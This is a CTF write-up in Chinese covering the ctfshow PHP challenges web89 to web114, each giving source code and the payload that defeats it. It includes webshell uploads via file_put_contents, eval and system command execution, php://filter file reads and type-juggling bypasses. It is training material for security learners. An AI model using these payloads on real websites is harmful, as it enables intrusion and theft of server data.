~目录~
- 开始
- web89 数组绕过
- web90 intval()特性
- web91 正则匹配
- web92 intval()特性
- web93 intval()特性
- web94 intval()特性
- web95 intval()特性
- web96 路径问题
- web97 md5强碰撞
- web98 POST值覆盖GET值
- web99 in_array()和file_put_contents()
- web100 is_numeric()
- web101 类反射
- web102 hex2bin
- web103 hex2bin
- web104 sha1
- web105 变量覆盖
- web106 sha1
- web107 parse_str()
- web108 ereg()
- web109 异常处理类
- web110 FilesystemIterator类和getcwd()
- web111 全局变量$GLOBALS
- web112 filter伪协议
- web113 /proc/self/root指向根目录
- web114
开始
web89 数组绕过
正则匹配
传数组会返回false
?num[]=0
web90 intval()特性
intval()
函数用于获取变量的整数值
考察intval()
的使用
绕过的姿势有很多
?num=4476.0
web91 正则匹配
/i
匹配的时候不区分大小写
m
多行匹配,若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配
%0aphp
经过第一个正则匹配时,以换行符为分割也就是%0a
,前面因为是空的,所以只匹配换行符后面的,所以可以通过
经过第二个正则匹配时,因为%0aphp
不符合正则表达式的以php开头以php结尾。所以无法通过,最后输出flag
web92 intval()特性
与web90的区别在于4476没有双引号
八进制、十六进制都可以绕过
?num=0x117c
?num=010574
web93 intval()特性
八进制?num=010574
web94 intval()特性
八进制前加空格,?num= 010574
或?num=4476.0
,或?num=+4476.0
,由于intval()
只识别整数部分
strpos(string, find [,start])
string是规定被搜索的字符串;find是规定要查找的字符;start是规定开始搜索的位置。
返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。 注释:字符串位置从 0 开始,不是从 1 开始
//此处表明要存在0且不在首位
web95 intval()特性
八进制前加空格,?num= 010574
web96 路径问题
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
GET型提交u=flag.php
是不行的,这时就要用到路径
?u=/var/www/html/flag.php 绝对路径
?u=./flag.php 相对路径
?u=php://filter/resource=flag.php php伪协议
web97 md5强碰撞
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
要求POST提交的a和b的值不相等,但是md5加密后的值相等
三个=
,属于md5强碰撞
md5()
函数无法处理数组,如果传入的值为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的
POST提交:a[]=1&b[]=2
web98 POST值覆盖GET值
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
$_GET?$_GET=&$_POST:'flag'
将POST值覆盖GET值
直接GET型提交flag会被flag的COOKIE
、SERVER
覆盖
但最后需要GET型提交HTTP_FLAG=flag
所以我们构造:
GET:?1
POST:HTTP_FLAG=flag
web99 in_array()和file_put_contents()
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
array_push()
将随机数(必定有1)添加到数组$allow
中
in_array()
函数搜索数组中是否存在指定的值
利用in_array()
的弱比较类型,构造?n=1.php
同时POST:content=<?php @eval($_POST['1']);?>
蚁剑连接即可
web100 is_numeric()
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
is_numeric()
用来检测变量是否为数字或数字字符串
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回空值,即 FALSE
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
因为是用and
连接,所以只要一个为true,v0就为true。如果用&&
连接,必须都为true,v0才为true
所以只需要v1为数字就行
构造?v1=1&v2=var_dump($ctfshow)&v3=;
注释掉v3也可以?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
var_dump()
用于判断一个变量的类型与长度,并输出变量的数值
另外,要将flag中的0x2d
(十六进制)转换为-
web101 类反射
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
在web100的基础上,增加了更多的过滤
用到了类反射
?v1=1&v2=echo new Reflectionclass&v3=;
PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释
$class = new ReflectionClass('Person');
// 建立 Person这个类的反射类
$instance = $class->newInstanceArgs($args);
// 相当于实例化Person 类
也要将0x2d
转换为-
web102 hex2bin
hex2bin()
把十六进制值转换为 ASCII 字符
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
call_user_func()
— 把第一个参数作为回调函数调用
也就是说v1是被调用的回调参数,s是回调参数的参数
file_put_contents()
函数把一个字符串写入文件中,如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False
GET:
v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64- decode/resource=2.php
POST:
v1=hex2bin
#访问1.php后查看源代码获得flag
原理就是将一条php语句base64编码,再转换为十六进制,关键就是找到一条语句经过上述操作后为纯数字
$a='<?=`cat *`;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=hex2bin($b); //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。
输出 5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。
同时因为经过substr处理,所以v2前面还要补00
本题,验证失败…
web103 hex2bin
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}
增加了preg_match()
,和上题一样的payload
web104 sha1
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
直接构造POST:v1=a
GET:v2=a
,数组也可以绕过
web105 变量覆盖
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
error_reporting(0)
// 关闭错误报告
foreach($_GET as $key => $value)
// 意思就是遍历$_GET
数组内的元素,每组元素为一个键$key
对应一个值$value
的形式
利用变量覆盖,构造:
GET:?suces=flag
POST:error=suces
这样通过die($error)
输出$error
,这样就输出了$flag
还可以通过die($suces)
输出,构造:GET:?suces=flag&flag=
$_POST['flag']=NULL;$flag=NULL
,满足($_POST['flag']==$flag)
web106 sha1
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
和web104的区别在于要满足$v1!=$v2
sha1加密无法处理数组,可以通过数组绕过
构造:
GET:v2[]=2
POST:v1[]=1
还可以利用0e科学计数法达到伪相等(与md5一样)
下列都可以:
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
web107 parse_str()
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
parse_str(string,array)
函数把查询字符串解析到变量中
如果设置了两个变量,变量将会以数组元素的形式存入到这个数组,作为替代
$a='q=123&p=456';
parse_str($a,$b);
echo $b['q']; //输出123
echo $b['p']; //输出456
构造:
GET:?v3=1
POST:v1=flag=c4ca4238a0b923820dcc509a6f75849b
//1经过md5加密后的值
还可以利用md5无法解析数组
GET:?v3[]=1
POST:v1="flag=0"
或者传入
GET:?v3=240610708(md5解密后,开头两位为0e的值)
POST:v1=flag=0
web108 ereg()
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
^[a-zA-Z]+$
匹配所有大小写字母一次或者多次(+号:一次或者多次)
ereg()
函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,返回false,搜索字母的字符是大小写敏感的
ereg()
函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
strrev()
函数反转字符串
构造?c=a%00778
正则表达式只会匹配%00
之前的内容,后面的被截断,因此可以通过正则匹配
后面经过strrev()函数的反转,字符串变为877%00a
再经过intval()函数,变为877,即0x36d的十进制
web109 异常处理类
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
payload:
?v1=Exception&v2=system('tac f*')
?v1=Reflectionclass&v2=system('tac f*')
通过异常处理类Exception(system(‘cmd’))
可以运行指定代码,并且能返回运行的结果(如果存在返回)
经过验证cat
不行,必须用tac
web110 FilesystemIterator类和getcwd()
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
php内置类 利用FilesystemIterator
获取指定目录下的所有文件
getcwd()
函数 获取当前工作目录 返回当前工作目录
构造v1=FilesystemIterator&v2=getcwd
访问fl36dga.txt
得到flag
web111 全局变量$GLOBALS
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
}
$GLOBALS
引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组,变量的名字就是数组的键
构造?v1=ctfshow&v2=GLOBALS
web112 filter伪协议
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
利用filter伪协议读取文件
?file=php://filter/resource=flag.php
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
web113 /proc/self/root指向根目录
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
与web112相比过滤了filter
可以利用web112给出的解:?file=compress.zlib://flag.php
或利用/proc/self/root
,在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容,多次重复后绕过is_file()
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/ self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/var/www/html/flag.php
(大概超过20次软连接)
web114
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
} 师傅们居然tql都是非预期 哼!